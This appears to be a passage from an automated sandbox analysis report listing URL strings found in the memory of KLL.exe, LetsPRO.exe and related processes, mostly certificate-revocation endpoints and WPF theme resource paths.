Source: KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4520319907.0000000001307000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: LetsPRO.exe, 00000034.00000002.4549763803.0000000005D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000019.00000002.2297334132.0000000006F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.miJ2
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4562462254.0000000030715000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4549763803.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: svchost.exe, 0000000C.00000002.3697465734.0000020BD3E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: LetsPRO.exe, 00000034.00000002.4549763803.0000000005D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4562462254.0000000030715000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4549763803.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: LetsPRO.exe, 00000034.00000002.4549763803.0000000005D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: LetsPRO.exe, 00000034.00000002.4520579062.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab7
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/app.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/app.xamld
Source: svchost.exe, 0000000C.00000003.2068735303.0000020BD3C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: LetsPRO.exe, 00000034.00000002.4549763803.0000000005D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/AppMenuDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/AppMenuDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/RadioButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/RadioButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ScrollViewDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ScrollViewDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TabControllerDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TabControllerDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TextBoxDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TextBoxDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/WindowDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/WindowDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/app.xaml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/app.xamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/app.baml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032CD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/app.bamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/appmenudictionary.baml
Source: LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/appmenudictionary.baml0
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/appmenudictionary.bamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/buttondictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/buttondictionary.bamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/radiobuttondictionary.baml
